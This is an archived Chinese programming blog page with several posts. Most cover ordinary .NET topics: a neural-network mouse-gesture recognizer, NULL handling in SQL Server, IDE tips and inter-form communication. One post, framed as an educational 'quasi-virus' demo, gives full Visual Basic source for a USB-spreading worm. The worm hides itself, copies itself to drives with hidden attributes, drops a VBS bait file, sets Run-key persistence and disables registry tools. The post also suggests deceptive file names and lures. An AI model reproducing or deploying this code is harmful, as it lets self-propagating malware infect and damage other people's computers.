基于BP神经网络的鼠标手势识别实验程序

2008/02/13 | 10:08 | 分类:Windows开发 | 标签: | 4,573次阅读

  程序与全文下载:http://files.linjian.org/dotNet/GestureStudy.rar
  程序基于Mat Buckland在《游戏编程中的人工智能》一书中例子的实现。

●问题陈述
  本程序基于BP神经网络完成了对用户使用鼠标输入的特定手势的识别,并且可以学习用户创建的新手势。程序中已经存储的手势是Palm系列掌上电脑中手写识别专用的Graffiti字体的数字0~9,这种字体的特点是每个字由一个连续笔划构成,适合用一个连贯的鼠标手势表示:

 Picture1.png

图1 Graffiti字体的数字

●程序概述
  本程序针对鼠标手势的存储、识别和学习功能,需要实现以下要素:
一、鼠标手势的表示
  由于每个鼠标手势仅由一个连续笔划构成,因此可将这一笔划分解为一系列连续的向量。不同的手势对应不同的向量组合。为计算方便,所有向量可以归一化为单位长度向量,如图2示例:

 Picture1.png

图2 鼠标手势向量示例

  分别以向右、向下为x轴、y轴正方向,则图2所示笔画的向量组合为(0,1)-(0,1)-(0,1)-(0,1)-(1,0)-(1,0)-(1,0)。
二、定义网络输入输出
  使用BP神经网络,需要定义一组一维的输入向量与输出向量。将一个手势的笔划向量依次连接,x坐标、y坐标依次出现,即可构成该手势的输入向量。对于可以识别N种手势的神经网络,可以使用长度为N,第M位为1、其余各位均为0的向量作为第M种手势的标准输出向量。
  上例对应的输入向量为(0,1,0,1,0,1,0,1,1,0,1,0,1,0),输出向量形式为(0,…,0,1,0,…,0)。
三、训练神经网络
  对于程序中已存储的手势,需要训练神经网络,使得网络对每个输入向量都能够产生误差在允许范围之内的输出向量。BP神经网络训练使用反向传播过程,即对每个输入向量重复以下步骤:
  (1)将它送入网络,计算网络的输出o。
  (2)计算输出o与目标输出t之间的误差。
  (3)调整输出层权重,为每个隐藏层重复步骤(4)和(5)。
  (4)计算隐藏层误差。
  (5)调整隐藏层权重。
四、鼠标手势的记录
  用户使用鼠标,在程序界面指定区域按下左键画出一个手势,程序定时记录鼠标坐标,构成一个点集(图3所示蓝点)。使用一定的算法对点集进行处理,取出比笔画的向量数目多一个的代表点(图3所示红圈),相邻两个代表点求差得到的向量经归一化即可得到笔画的向量组合。
取代表点的方法采用了光滑化算法,即对分布不均的原始记录点找到其中跨度最小的两个点,用它们的中点取代它们。重复执行,直到点的数目符合向量数目要求。

 Picture1.png

图3 鼠标手势记录示例

五、鼠标手势的识别
  用户的输入不可能与定义的标准输入完全一致。将待测试的手势对应的输入向量输入训练过的神经网络后,网络的输出与定义的第M种手势的标准输出向量越接近,说明输入手势越接近第M种手势的标准输入。评判“接近”的简单标准是找出输出向量中最大(最接近1)的元素,认为输入最有可能是该位为1的输出对应的手势。
六、鼠标手势的学习
  学习过程是将用户新输入的一个手势构建输入向量,加入原有的输入向量集;对输出向量的长度加一,设置其对应的输出向量,然后将网络重新训练一遍。

●程序架构
  本程序使用Visual Studio 2005(C#语言)开发,基于.Net Framework 2.0运行。
一、关键数据结构
  程序包含的类如下:

Picture1.png
图4 程序类图

  (1)Neuron类(神经元):记录一个神经元的输入数目、各个输入的权重、偏差值等数据。
  (2)NeuronLayer类(神经网络层):记录一个神经网络层的神经元数目和各个神经元对象。
  (3)NeuralNet类(神经网络):记录一个BP神经网络的各个神经网络层以及隐藏层数、学习率、训练与否等信息;提供训练、更新等方法。
  (4)GestureData类(鼠标手势):记录所有鼠标手势的名称、笔划向量组合、对应输出等信息;提供追加新鼠标手势等方法。
二、程序界面操作说明

Picture1.png
图5 程序界面

  (1)程序运行后,首先需要训练神经网络。用户可以设置网络的一些参数,包括学习率、可允许的偏差门限、隐藏层数等。此外可以选择开启带动量的算法或带噪声的算法,并设置动量分数和噪声最大值。单击“Train Network”按钮开始训练网络,界面左下方显示当前训练的迭代数和偏差。
  (2)训练之后,在绘图区域按下鼠标左键画出一个连续的手势,程序会将代表点标注在手势上,并在界面左下方给出通过神经网络运算得到的最佳匹配输出值与对应手势的名称,用卡通图标显示最佳匹配输出值的大小。
  (3)单击“Learn New Gesture”按钮,程序进入学习状态。此时用户可以输入一个新的手势,并在弹出的对话框中为之命名。程序随即重新训练神经网络。
  (4)单击“Clear Pad”按钮清空绘图区域。

●参考文献
[1] Mat Buckland.游戏编程中的人工智能,北京:清华大学出版社,2006.
[2] 朱大奇,史慧.人工神经网络原理及应用,北京:科学出版社,2006.

用Visual Basic 2005实现通过U盘传播的准计算机病毒

2006/05/24 | 15:36 | 分类:Windows开发 | 标签: | 1,714次阅读

  计算机病毒是指编制或者在计算机程序中插入的破坏计算机功能或者毁坏数据,影响计算机使用,并能自我复制的一组计算机指令或者程序代码。从执行机理方面,一般分为文件型病毒、引导型病毒、宏病毒、木马病毒、脚本病毒、蠕虫病毒等。计算机病毒具有生命系统所固有的特性——繁殖、机体集成、不可预见性等。它的生命周期也类似于生物病毒,包括潜伏阶段、传染阶段、触发阶段、发作阶段等。因此研究计算机病毒的方法与研究生物病毒有一定的可比性。病毒技术和反病毒技术这对矛盾在不断的斗争中持续发展,是信息社会安全领域的重要课题。

  计算机病毒最初被认为是顶级编程高手的杰作,但随着编程语言的不断高级化、简单化、专用化,一大批“低技术含量”的病毒开始从一些普通计算机用户的键盘下诞生。下面我们来看用Visual Basic 2005实现的一个通过U盘传播的准计算机病毒。之所以称其为“准计算机病毒”,是因为它能够简单地自发传染但可以控制,有演示性的破坏作用但很容易恢复。

  该病毒存在形式为一可执行程序,由于使用Visual Basic 2005编写,要求宿主计算机安装有.NET Framework v2.0。病毒程序一旦运行,会将自身复制到C盘根目录,将复本设置隐藏属性,并在注册表中添加其启动项。染毒的计算机在插入U盘后,病毒随即将自身复制到U盘根目录(设置隐藏属性),同时新建一个用以启动病毒的“诱饵”文件。用户如果在没有染毒的计算机上执行了“诱饵”文件,会使这台计算机也染毒。作为演示性的破坏作用,计算机染毒后注册表会被锁定。

  我们通过流程图直观说明:

  下面就开始最重要的编写阶段:新建一个Visual Basic 2005 Windows Form应用程序。既然做的是病毒,就要需要它在用户不可见的情况下偷偷摸摸运行。因此我们首先设置默认窗体的FormBorderStyle为None,Text为空,Size为(0,0),WindowState为Minimized,ShowInTaskbar为False。这样一来,这个程序运行时用户看不到屏幕上会有什么异常。当然病毒进程在Windows任务管理器以及Alt+Tab的任务菜单中还会出现。要让病毒进程消失,涉及一些高级系统调用,这个例子中就不做了。我们可以采用障眼法,将程序的图标(包括窗体的Icon和应用程序属性中的Icon)设为一个不引人注目的图标(如Windows文件夹图标),骗过粗心的用户:

  再添加一个Timer控件,命名为tmrWatcher,设置其Enabled为True,Interval为5000,用来每隔5秒检查是否有U盘插入。

  在Code窗体中为默认窗体键入如下源代码:

  1. Imports System
  2. Imports System.IO
  3. Imports System.Collections
  4.  
  5. Public Class frmVirus
  6.  
  7.     Private oldDisks As List(Of String) '上一状态的驱动器列表
  8.     Private newDisks As List(Of String) '当前状态的驱动器列表
  9.  
  10.     '初始化驱动器列表
  11.     Private Sub Init()
  12.  
  13.         oldDisks = New List(Of String)
  14.         newDisks = New List(Of String)
  15.  
  16.         Dim di As DriveInfo
  17.         For Each di In My.Computer.FileSystem.Drives
  18.             oldDisks.Add(di.Name)
  19.         Next
  20.  
  21.     End Sub
  22.  
  23.     '检查是否有新的驱动器出现,出现则认为是插入了U盘
  24.     Private Function FindNewDisk() As String
  25.  
  26.         newDisks.Clear()
  27.         Dim di As DriveInfo
  28.         For Each di In My.Computer.FileSystem.Drives
  29.             newDisks.Add(di.Name)
  30.         Next
  31.  
  32.         '一一对照查找当前状态的驱动器有没有在上一状态存在
  33.         Dim i, j As Integer
  34.         Dim found As Boolean
  35.         For i = 0 To newDisks.Count - 1
  36.             found = False
  37.             For j = 0 To oldDisks.Count - 1
  38.                 If newDisks(i) = oldDisks(j) Then
  39.                     found = True
  40.                     Exit For
  41.                 End If
  42.             Next
  43.             If Not found Then
  44.                 Return newDisks(i)  '返回U盘盘符,如“F:\”
  45.             End If
  46.         Next
  47.         Return String.Empty '返回空表示没有新的驱动器出现
  48.  
  49.     End Function
  50.  
  51.     '将病毒体从当前位置复制到参数disk所示的磁盘的根目录
  52.     '(这里简单认为C盘之外的盘符都为U盘)
  53.     Private Sub CopyVirusToDisk(ByVal disk As String)
  54.  
  55.         Dim myname, objname As String
  56.         myname = My.Application.Info.DirectoryPath & "\LynxVirus.exe"
  57.         objname = disk & "\LynxVirus.exe"
  58.  
  59.         If Not File.Exists(objname) Then
  60.             Try
  61.                 '复制自身到目标位置
  62.                 File.Copy(myname, objname, True)
  63.                 '为病毒文件设置“隐藏”、“系统”、“存档”属性,防止被发现
  64.                 File.SetAttributes(objname, FileAttributes.Hidden Or FileAttributes.System Or FileAttributes.Archive)
  65.                 '如果目标位置不是C盘(认为是U盘),则写入一个从U盘启动病毒的“诱饵”文件
  66.                 If disk.ToUpper().Chars(0) <> "C" Then
  67.                     WriteABait(disk)
  68.                 End If
  69.             Catch ex As Exception
  70.             End Try
  71.         End If
  72.  
  73.         '如果当前位置是C盘,则复制之后程序不退出,驻留内存以便向新插入的U盘传染自身
  74.         '如果当前位置不是C盘(认为是U盘),则复制之后启动C盘上的复本,然后退出自身,以便U盘可以正常卸下
  75.         If myname.ToUpper().Chars(0) <> "C" Then
  76.             Dim Info As New System.Diagnostics.ProcessStartInfo()
  77.             Dim Proc As New System.Diagnostics.Process()
  78.             Info.WorkingDirectory = "C:\"
  79.             Info.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden
  80.             Info.FileName = "LynxVirus"
  81.             Try
  82.                 Proc = System.Diagnostics.Process.Start(Info)
  83.             Catch ex As Exception
  84.             End Try
  85.             Application.Exit()
  86.         End If
  87.  
  88.     End Sub
  89.  
  90.     '写入一个从U盘启动病毒的“诱饵”文件
  91.     Private Sub WriteABait(ByVal disk As String)
  92.  
  93.         Dim filename As String
  94.         filename = disk & "\Bait.vbs"
  95.  
  96.         Try
  97.             Dim sw As StreamWriter
  98.             sw = File.CreateText(filename)
  99.             '“诱饵”文件通过VBS脚本运行病毒文件
  100.             sw.WriteLine("Set p = WScript.CreateObject(""WScript.Shell"")")
  101.             sw.WriteLine("p.Exec(""LynxVirus"")")
  102.             sw.Flush()
  103.             sw.Close()
  104.         Catch ex As Exception
  105.         End Try
  106.  
  107.     End Sub
  108.  
  109.     '在注册表中添加启动项,使病毒开机自动运行
  110.     Private Sub MakeAutorun()
  111.  
  112.         Try
  113.             My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run\", True).SetValue("LynxVirus", "C:\LynxVirus.exe", Microsoft.Win32.RegistryValueKind.String)
  114.         Catch ex As Exception
  115.         End Try
  116.  
  117.     End Sub
  118.  
  119.     '病毒对计算机的破坏过程
  120.     Private Sub Destroy()
  121.  
  122.         Try
  123.             If My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System\") Is Nothing Then
  124.                 My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\", True).CreateSubKey("System")
  125.             End If
  126.             My.Computer.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System\", True).SetValue("DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord)
  127.         Catch ex As Exception
  128.         End Try
  129.  
  130.     End Sub
  131.  
  132.     '病毒程序启动时的初始化
  133.     Private Sub frmVirus_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  134.  
  135.         CopyVirusToDisk("C:\")
  136.         MakeAutorun()
  137.         Init()
  138.         Destroy()
  139.  
  140.     End Sub
  141.  
  142.     '每隔一定时间检查是否有U盘插入,若有则向新插入的U盘传染病毒
  143.     Private Sub tmrWatcher_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrWatcher.Tick
  144.  
  145.         Dim disk = FindNewDisk()
  146.         If disk <> String.Empty Then
  147.             CopyVirusToDisk(disk)
  148.             Init()
  149.         End If
  150.  
  151.     End Sub
  152.  
  153. End Class

  上面代码中LynxVirus.exe、Bait.vbs分别为病毒文件名和“诱饵”文件名,在实际编写的时候可以改为一些具有欺骗性的名称,如Rundll32.exe、prnmngr.vbs。Destroy()函数是病毒破坏过程,可以自行添加一些潜伏性、触发性功能代码或其它破坏性功能代码。

  这个病毒的主要缺陷是自发传染能力不强,可以自动地从硬盘传向U盘,但不能自动地从U盘传向硬盘。事实上一些通过U盘传染的病毒大都使用Autorun.inf、folder.htt等自动运行和自定义文件夹脚本来复制自身到硬盘。但随着Windows安全性能的提高、用户防范意识的增强,这种传染方式已经在大多数计算机上实效了,无故出现的Autorun.inf、folder.htt等文件反而会引起用户警觉。使用“诱饵”文件诱惑用户运行病毒,需要抓住用户的心理。早期的邮件病毒常用“情书”、“中奖信息”等诱惑用户,现在已不盛行。本病毒使用VBS脚本作为“诱饵”也会引发用户的警觉。用什么方法更具欺骗性,留给大家思考。

  了解了这个病毒的机理,清除它的方法也很简单:只要在Windows任务管理器中结束它的进程,删除C盘下的病毒文件,然后解锁注册表(可以通过REG、VBS脚本或第三方工具,网上介绍很多,这里从略),删除其启动项即可。

  通过这个例子我们可以看出,计算机病毒技术并不神秘。学习一些计算机病毒基础理论,了解病毒破坏和传播的机理,对广大计算机用户是很有必要的。亲自动手编程模拟一个病毒,可以加深对理论知识的理解,同时提高信息安全防范意识。

参考资料:
[1]韩筱卿 等,计算机病毒分析与防范大全,电子工业出版社,2006

.NET和SQL Server中“空值”辨析

2005/08/20 | 09:28 | 分类:Windows开发 | 标签: | 2,077次阅读

  初学数据库编程我们可能会有一些对“空值”的疑问,比如通过编程新建的一个表中所有数据皆显示为<NULL>,手动添加并删除文字后又变成了空白;一个字符串类型的字段,明明没有填值,却不等于"";用ADO.NET从数据库中取值,每遇到有<NULL>的就出错……这需要我们正确认识.NET和SQL Server中几种不同的“空值”。

  1、真正的空值,也就是“没有输入的值”,可以出现在大多数类型的字段中(如果没有别的约束条件),SQL server中表示为null,显示为<NULL>,手工在SQL server企业管理器中输入的方法是按Ctrl+0。它在.NET中对应System.DBNull.Value。在T-SQL命令中,判断一个值是不是空值,要用“is null”而不是“= null”;处理空值有个ISNULL函数,它使用指定的值替换null。用ADO.NET从数据库得到的空值无法自动转化为空字符串或Nothing,须手动检测:如果得到System.DBNull.Value,则赋给数据对象Nothing或其它自定义的有意义的值。

  2、空字符串(零长度字符串),只出现在字符串类型(如nvarchar)的字段中,SQL server中表示为'',显示为空白,手工在SQL server企业管理器中输入时清空一个单元格即可。它在.NET中对应System.String.Empty,也就是我们常用的""。在T-SQL命令中处理空字符串和处理一般的字符串没什么区别。用ADO.NET从数据库得到的空字符串也和一般的字符串没什么区别。

  相关的概念还有VB.NET中的Nothing和对应于C#.NET中的null(注意这个null是C#.NET中的null而非SQL Server中null),它们在.NET中是表示不引用任何对象的空引用的值,在传入SQL server时,根据不同的上下文环境,可能存为真正的空值(比如在更新一个字符串类型的字段值时),也可能调用在SQL server中自定义的默认值(比如传给一个有默认值的存储过程参数),也可能因为无法进行类型转换而引发.NET异常。因此在用ADO.NET向SQL server中存储数据时要慎用Nothing。

使用.Net IDE的一点小技巧

2005/08/13 | 12:03 | 分类:Windows开发 | 标签: | 1,999次阅读

[VS.Net]快速定位到修改点

   

我和几个同学合作一个项目,项目不大,没有使用什么版本管理系统。为了让别人知道自己修改了什么地方,我们要在自己修改的源代码处加上注释。但每个人的注释风格不同,查找起来很不方便。后来我找到一个简单的解决方案:在修改处加上具有统一开始字符的注释(如“MODIFY”):

    'MODIFY 小李 2005-6-22 改正连接字串为空时出现异常的bug

    ......

    'MODIFY 小王 2005-6-23 添加Access接口

    ......

然后在VS.Net的工具—选项对话框的环境—任务列表中添加“MODIFY”这个注释标记,并在VS.Net在任务列表标签页上点右键,设置显示任务为全部,以后就可以通过任务列表快速定位到源代码中的修改点了。

 

[VS.Net]在同一标签页内查看同一文件的两个复本

 

我们在写程序时,往往要参考同一文件的其他部分。在VS.Net可以方便地在同一标签页内查看同一文件的两个复本,方法就是用鼠标向下拖动窗体滚动条上方的小矩形,同一文件就可以呈现在两个子窗体中了,而且它们的更新是同步的。(注:这是Microsoft通用的方法,在WordExcel中都可以使用)

 

[SharpDevelop]VB.NetC#代码相互转化

   

我们在进行.Net编程时常常遇到要将VB.NetC#代码相互转化的情况。我在网上搜索过一些小工具,它们要么是在线使用的,要么是收费的,挺不尽人意。事实上有一个免费的选择,就是著名的GNU .Net IDE——SharpDevelop(目前我使用的版本是1.1.0),它的工具菜单里就有VB.NetC#代码相互转化功能。转化效果总体不错,不过也存在一点小问题(比如VB.NetC#时,调用没有参数的方法,不会自动加上括号),但这总比人工转换省事多了。大家不妨试试。

   

[Mono]FC4下忽略依赖性,快速安装Mono

 

Linux下玩.Net编程似乎很酷的样子,我也跟风,下载了一套MonoRPM for FC3版本),一解压,几个文件夹一共有几十个RPM,不知道应该先安装谁。试验安装了几个,总是说找不到依赖项。我的系统是FC4,它是为FC3设计的,问题应该不大,干脆不管RPM的依赖性了,把所有的RPM集中在一个文件夹,一古脑地用忽略依赖性的方法安装:

rpm -i * --nodeps

结果如何呢?试用了一下安装好的MonoDevelop,编译了一个简单的程序,又导入了一个VS.Net Console工程,运行都正常!

 

不过后来有时间,我还是仔细看了一下这些RPM的依赖性,发现了两个问题:负责webserverxsp需要一些Linux服务器依赖项,在FC4的默认安装中没有,重装xsp,放入FC4 DVD,完成添加;mono-data-sqlite需要libsqlite,但我没有找到它,上网查了,它顾名思义是个轻型SQL软件包,自己暂时不用,就不安装了吧!

.NET中窗体间相互访问的几种方式

2005/08/07 | 16:25 | 分类:Windows开发 | 标签: | 3,315次阅读

.NET中窗体间相互访问的几种方式

  在我们的程序中,窗体之间经常要相互访问彼此的成员,调用彼此的方法,或者激发彼此的事件。下面就我的经验,简单谈谈在.NET中窗体间相互访问的几种方式。

  以下给出了C#.NET和VB.NET的示例代码。用Form1、Form2类分别表示主、从窗体。

  1、内部成员访问法,适合于主窗体访问它所创建的从窗体对象中的成员。只需将从窗体允许主窗体访问的那些成员加上internal或Friend限定符。例如:

C#主 private void ShowForm2Info() {    Form2 f2 = new Form2();

    f2.Show();

    MessageBox.Show(f2.MyName);

}

C#从 internal string MyName = "A Form2 Object";
VB主 Private Sub ShowForm2Info()    Dim f2 As New Form2

    f2.Show()

    MsgBox(f2.MyName)

End Sub

VB从 Friend MyName As String = "A Form2 Object"

  2、将以上方法反过来用,让从窗体访问创建它的主窗体中的成员,需要增加一个步骤:在从窗体的构造函数中传入一个主窗体的引用,以便找到创建它的主窗体(新建的构造函数中不要忘了调用InitializeComponent()函数)。主窗体创建从窗体对象时传入自身的引用。例如:

C#主 private void ShowForm2() {    Form2 f2 = new Form2(this);

    f2.Show();

}

 

internal string MyName = "A Form1 Object";

C#从 private Form1 f1;public Form2(Form1 _f1) {

    InitializeComponent();

    f1 = _f1;

}

 

private void ShowForm1Info() {

    MessageBox.Show(f1.MyName);

}

VB主 Private Sub ShowForm2()    Dim f2 As New Form2(Me)

    f2.Show()

End Sub

 

Friend MyName As String = "A Form1 Object"

VB从 Private f1 As Form1Public Sub New(ByVal _f1 As Form1)

    MyBase.New()

    InitializeComponent()

    f1 = _f1

End Sub

 

Private Sub ShowForm1Info()

    MsgBox(f1.MyName)

End Sub

  注:我的朋友wuzhenzhi指出,对主窗体的引用,通过属性或方法传入要比通过在构造函数中传入好,因为“对于一个窗体,没什么,但如果是一个用户控件,我们经常会像拖动Button控件一样从工具栏里拽下来,这时系统就会调用默认的那个构造函数,而不是你的那个重载版本,这办法就失灵了。”这个建议有道理。

  3、从窗体访问主窗体中的成员,如果主窗体只有一个实例,或者被访问对象是全局性的,可以将主窗体中要求访问的成员设置为静态的,加上static或Shared限定符即可:

C#主 private void ShowForm2() {    Form2 f2 = new Form2();

    f2.Show();

}

 

internal static string MyName = "A Form1 Object";

C#从 private void ShowForm1Info() {    MessageBox.Show(Form1.MyName);

}

VB主 Private Sub ShowForm2()    Dim f2 As New Form2()

    f2.Show()

End Sub

 

Friend Shared MyName As String = "A Form1 Object"

VB从 Private Sub ShowForm1Info()    MsgBox(Form1.MyName)

End Sub

  4、还可以运用.NET的事件委托机制,实现更加灵活的相互调用。下例是从窗体激发主窗体的事件。事件委托机制的功能事实上远比此例强大,大家可以找书看看它的详细用法。

C#主

private void ShowForm2() {

    Form2 f2 = new Form2();

    f2.Show();

    f2.SendMessage += new Form2.DelegateOfSendMessage(ShowMessage);

}

 

private void ShowMessage(string str) {

    MessageBox.Show(str);

}

C#从 public delegate void DelegateOfSendMessage(string str);public event DelegateOfSendMessage SendMessage;

 

private void Send() {

    SendMessage("A Message From Form2");

}

VB主 Private Sub ShowForm2()    Dim f2 As New Form2

    f2.Show()

    AddHandler f2.SendMessage, AddressOf ShowMessage

End Sub

 

Private Sub ShowMessage(ByVal str As String)

    MsgBox(str)

End Sub

VB从

Public Delegate Sub DelegateOfSendMessage(ByVal str As String)

Public Event SendMessage As DelegateOfSendMessage

 

Private Sub Send()

    RaiseEvent SendMessage("A Message From Form2")

End Sub

  5、同样的道理,参考方法2和方法4可以实现主窗体激发从窗体的事件,这个请读者自己实验。当然这样一来代码会显得比较乱。一个较好的解决方法是将事件封装入一个接口,同时在事件的发布方和订阅方实现。这种技术在.NET Remoting远程对象操作技术中尤为重要,有一篇不错的文章给大家参考:《Remoting事件处理全接触》(http://www.cnblogs.com/wayfarer/articles/75213.html

  6、习惯了VB6中全局变量的朋友可能觉得.NET中不支持全局变量对于窗体间的交互很不方便,那么再请大家参考这篇文章:《.NET窗体之间的交互》(http://blog.csdn.net/warsgrobe/archive/2005/07/29/438013.aspx),里面叙述了用VB.NET模拟全局变量的方法。另外我的朋友wuzhenzhi提出了在全局模块中建立全局变量解决方案,大家可以参考他的文章:《对默认启动窗体操作的方法》(http://wuzhenzhi.blogdriver.com/wuzhenzhi/875776.html

  7、本文发布的第二天,wuzhenzhi提醒我:事实上.NET中有一个现成的方法让从窗体访问主窗体的成员,就是带有owner参数的Form.ShowDialog方法。这个owner便是对主窗体的引用。这个快捷的方法适合于对话框性质的从窗体(也就是说在操作从窗体时不允许操作主窗体),但对诸如MDI子窗体等不适用。注意owner是个IWin32Window,需要强制转化为主窗体类。

C#主 private void ShowForm2() {    Form2 f2 = new Form2();

    f2.ShowDialog(this);

}

 

internal string MyName = "A Form1 Object";

C#从 private void ShowForm1Info() {    MessageBox.Show(((Form1)(this.Owner)).MyName);

}

VB主 Private Sub ShowForm2()    Dim f2 As New Form2()

    f2.ShowDialog(Me)

End Sub

 

Friend MyName As String = "A Form1 Object"

VB从 Private Sub ShowForm1Info()    MsgBox(CType(Me.Owner, Form1).MyName)

End Sub

  8、那么对于MDI子窗体有什么好方法呢?最怕的就是看了上面的几种方法,形成思维定势,直接就套用了。须知矛盾有普遍性,也有特殊性,对于MDI子窗体照样有现成的方法,就是调用子窗体的MdiParent属性访问主窗体。这个想必大家都知道,放在这里,保持文章的完整性。

C#主 private void ShowForm2() {    Form2 f2 = new Form2();

    f2.MdiParent = this;

    f2.Show();

}

 

internal string MyName = "A Form1 Object";

C#从 private void ShowForm1Info() {    MessageBox.Show(((Form1)(this.ParentForm)).MyName);

}

VB主 Private Sub ShowForm2()

    Dim f2 As New Form2

    f2.MdiParent = Me

    f2.Show()

End Sub

 

Friend MyName As String = "A Form1 Object"

VB从 Private Sub ShowForm1Info()    MsgBox(CType(Me.ParentForm, Form1).MyName)

End Sub

  OK,就说到这里。.NET是一个强大而灵活的体系,只要肯动脑筋,一定能发现不少这样的技巧。

页面: 上页(较新) 1 2 下页(较旧)